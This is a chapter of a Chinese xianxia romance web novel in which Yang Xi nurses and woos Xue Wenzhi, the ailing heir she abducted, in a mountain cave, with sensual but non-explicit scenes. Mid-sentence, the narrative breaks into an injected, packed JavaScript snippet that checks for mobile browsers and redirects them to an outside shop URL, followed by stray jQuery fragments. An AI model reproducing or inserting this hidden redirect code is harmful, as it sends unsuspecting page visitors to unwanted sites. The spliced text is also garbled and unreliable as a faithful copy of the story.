喝完滋补的药汤,山洞外夕阳西落,夜幕笼罩在山林,强风呼啸吹过,卷起树木藤蔓,发出呜呜声,犹如鬼哭狼嚎。
幽暗恐怖的山林场景却没扑灭杨曦心里的火热。
她最亲近爱慕的人就好好的待在身边,在她触目可及的地方,她浑身充满干劲。
先是点了油灯让昏暗的山洞亮起,然后收拾之前炖滋补汤留下的残局,再把洞口用灵力堵住,免得冷风吹进。
她健康的像小牛犊一样倒不怕这点小风,但她的哥哥不行。
杨曦要好好守护他,让他能长长久久地陪着自己。
用灵力封洞口时,杨曦回想白日劫掠薛闻之的场景。
感觉有点顺利得过分。
埋伏的地方顺利地没出现外人。
解决几个修为高强的影卫也很顺利,没有受伤。
要知道她原本就抱着豁出命的心态去劫人的。
还有本就医毒精湛的薛闻之,也顺利地被她用迷药放倒。
“咳咳。”
身后低咳的声音打乱她的思绪。
管它呢,哥哥在身边,她的目的达到了就好。
杨曦快速朝烛光下靠岩壁坐着的男人奔去。
“怎么了,是不是有点干了。”
杨曦取出一瓶润喉的药,小心地抵在他唇瓣,喂他喝下去。
昏黄的烛光投射在他脸上,一侧在阴影下,一侧在烛光下,暖光驱散了苍白,衬的眉眼越发清隽夺目。
不过一向整洁柔顺的墨发和衣裳有些凌乱。
杨曦成功夺走他后便怕被人再度抢走,就一路风驰电掣地赶路,免不了弄乱他的头发衣裳。
记得他一向最爱整洁了,杨曦捻走他宽肩发上的一枚黄叶,“我弄好水让你洗漱好不好?”
薛闻之闻言,眼帘垂下,墨黑的双眸中烛火跳动。
竟是没有拒绝。
杨曦喜不自禁,要知道他一向把这管得严,年幼初初获得一个亲密家人的小杨曦,黏他黏的厉害,洗澡都想闯入澡房陪着他。
但被他严厉送出来了,并勒令不能再在他洗漱时进入。
就似不愿和她同房一样。
迫不及待从灵囊取出木制浴桶,引入清水并用灵力温至适宜的温度。
把干净的衣袍放在浴桶旁,杨曦对比着自己买的云锦月袍和薛闻之身上的由皇家绣娘精心缝制的锦衣华服。
暗暗失落,没能给他更好的。
杨曦给自己打气,要更加努力赚钱养哥哥,哪怕不能给他处处像王府的衣食住行,也不能差太过。
薛闻之不知道她的小脑袋瓜在想什么,从柔软的绸缎起身,不疾不徐地朝浴桶走去。
来到冒着热气的浴桶旁,他手解腰带,竟完全不避着一旁的杨曦,也不驱赶她。
杨曦怔愣,随后莫名的热气从脸颊升起,她隐约知道不能看,却挪不开眼睛。
外衫、中衣、里衣一件件从他修长的身躯掉落。
里头全然不像杨曦幻想的那样瘦骨嶙峋。
他身体虽然清瘦,但肩宽腰窄,线条极为流畅优美,薄薄的一层肌附在上面,宛如精心雕琢的白玉雕像。
薛闻之似感受不到身后灼灼的目光,自若地转身,踏入浴桶。
猝不及防下,杨曦受到了极大的冲击。
她好像看到了茂密丛林下的猛兽,野蛮、庞大、充满威慑力。
杨曦浑身燥热起来。
不知道自己为何会这样,她退后几步,在石阶的绸缎上趴上去,感受上方的冰凉,缓解燥热。
不想再去看,但水被撩动的声音时时刻刻挑动着她的神经,她忍不住转身看过去,眼瞳不自觉睁大,浑身燥意更甚。
好不容易挨到他结束,穿着薄薄的白色里衣上来。
杨曦热的有些迷糊了,小兽一样呜咽着冲进他怀里,眼里氤氲着潋滟的水意。
她湿热的唇在他俊脸上胡乱亲,好看的眉、挺直的鼻、洗完澡变红润的薄唇。
手也扒开他薄薄的里衣,在里头胡乱摸索。
杨曦不通情事,也没人教过她,只能靠这样混乱在他身上蹭,靠着他冰凉的身躯缓解身上的难受。
她脑袋在他修长的脖子上胡乱啃噬,偶尔抬头看见的是他冷淡的脸,像是很不耐烦。
于是难受的她更委屈了,把自己更紧地挤进他怀里。
她不知道,一旦她低头,清俊的男人便换了副表情,墨黑的眼微眯,薄唇轻吐气,似是极为享受她对他的索求,餍足至极。
时间缓缓流逝。
身下的男人无动于衷,杨曦折腾累了,便窝在他怀里疲惫睡下,脑袋窝在他脖子,唇还贴在他锁骨上。
女孩呼吸完全平稳后,薛闻之的修长的手放在她腰上,一寸寸收紧,骨节泛白。
次日,从洞口藤蔓缝隙处透入的一缕阳光晃醒了杨曦。
她恍惚睁开眼,腰肢处箍着修长的臂膀。
贴着的颀长身躯温热紧致,仿佛他常年微凉的身体都被她染上了热意。
杨曦微微抬头,看到了他锋利的下颌和紧闭的眼。
自然而然想起昨晚的失控,那种身体全然不受控制的模样着实让人害怕。
杨曦想离开他的怀抱,又舍不得和他亲近的机会,反而抬起双臂搂住他脖子让自己更加贴近他。
好在失控的感觉没有再袭来。
杨曦满足地蹭了蹭他下颌。
熟睡的薛闻之在她的一番动静下醒来,睁开漆黑的眼冷冷看她。
杨曦不知重逢后他为何屡屡冷漠对待她,但她笃定,相处久了,他一定会变回那个宠她爱她的哥哥。
从他怀里起身,杨曦嘟嘴亲他薄唇,不管他冷脸,弯着唇说:“闻之,我等下要进城一趟,买些吃用的,你在这等我。”
她想起了要做他娘子的事,称呼又变成了闻之。
离开时,哪怕知道薛闻之病弱没有丝毫修为,杨曦还是在洞口留下层层封禁,确保除了自己一只蚊子也出不去进不来,她才安心离开。
掩盖外貌来到京城城内,果然到处都在大张旗鼓地搜寻失踪的端王世子。
除此外,整个京城给杨曦风雨欲来的气息。
街上的贩夫走卒,店铺的小二,路过的农夫百姓都给人一种异样的感觉。
在城内买好必用物品,杨曦低头匆匆离去。
城内不同寻常,城外也没有风平浪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686372|207821||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
静,出现了许多带有修为的生面孔。
那落地有序的步伐,坚毅铁血的眼,显然不是散修能带来的。
哪怕京城是大凌王朝的首都,平民中出现那么多散修也不应该。
杨曦着急地往西部山脉赶。
好在薛景扬给她找的这个地方,够偏、够隐蔽,没什么人到。
不然杨曦真的不放心薛闻之独自在那里。
现在也不放心,她决定,带薛闻之回他们的家前都不要离开他了。
山洞洞口,薛闻之坐在一颗突出的石头上面,幽深的眼透过藤蔓缝隙看绵延的山脉,不知道在想什么。
胸腔发痛,他捂嘴低咳几声,手帕离嘴后,上面出现一摊刺目的血,他习以为常地收起,就地掩埋。
杨曦回来,他一副在洞口等她的模样,唇色罕见地有几缕血色,看着健康许多。
“闻之、闻之,你等我回来吗?”杨曦开心地扑进他怀里,脑袋使劲在他胸口磨蹭。
“我就知道你肯定也想我的。”
狠狠在他怀里吸了一通他好闻的气息后,杨曦拉着他进山洞,小嘴喋喋不休。
“虽然我很开心你能在洞口等我,但下次还是不要了,石头上面凉,对身体不好。”
杨曦把他拉到绸缎上坐下,献宝地掏出一堆糕点放在上面,“这是荷花酥、这是千层糕、枣酥……”
她指着面前个个精美的糕点,一一介绍,随后仰起兴奋的脸,“都很好吃的,你尝尝……”
目光触及到他淡漠的脸,杨曦的笑意渐渐垂落。
想起了他如今端王世子的身份。
不再是和她相依为命的哥哥,而是享尽富贵的世子,对她宝贝的美食,怕早已食之无味了。
她有些低落,纵使对他的亲近不减以往,到底他身份的不同,让他们之间有了隔阂。
正当她垂着脑袋难过之际,神色淡漠的薛闻之却拿起一块荷花酥入口。
那是杨曦都未曾尝过的,一下把心里那点低落甩脑后,亮晶晶的眼盯着他,“好吃吗?”
薛闻之未回,嶙峋的喉结微微滚动,吞下糕点,好看的唇边还留有一点糕点碎屑。
杨曦忽地凑上去,伸出舌头舔掉他唇边的糕点,抿嘴仔细品尝,露出烂漫的笑,“好好吃。”
薛闻之目光一下幽深起来,轮廓分明的脸绷紧。
杨曦没见到掩藏的火热,只看到他严厉的神情,有些发怵。
以为他不喜自己亲近,她强作镇定地叉腰,在他面前理直气壮地说:“我迟早是你的娘子,亲近一点怎么了?”
见他还盯着自己的唇,杨曦狗胆发作,直接直起腰凑上他脸,对着薄唇重重亲了一口,还伸出软舌舔了一下。
亲完,杨曦有些耳红,把自己埋在他怀里,小嘴振振有词,“我就要亲,你是我的。”
她脑袋上方,薛闻之眸里翻起巨浪,表情像是要把她吃下去。
杨曦浑然不觉,咂巴着嘴,有些奇怪,“怎么有点血腥味,你受伤了?”
她紧张地起身望他。
“没,是糕点带的味道。”薛闻之声音沙哑。
这个糕点杨曦没吃过,听他这么说,就没有多想。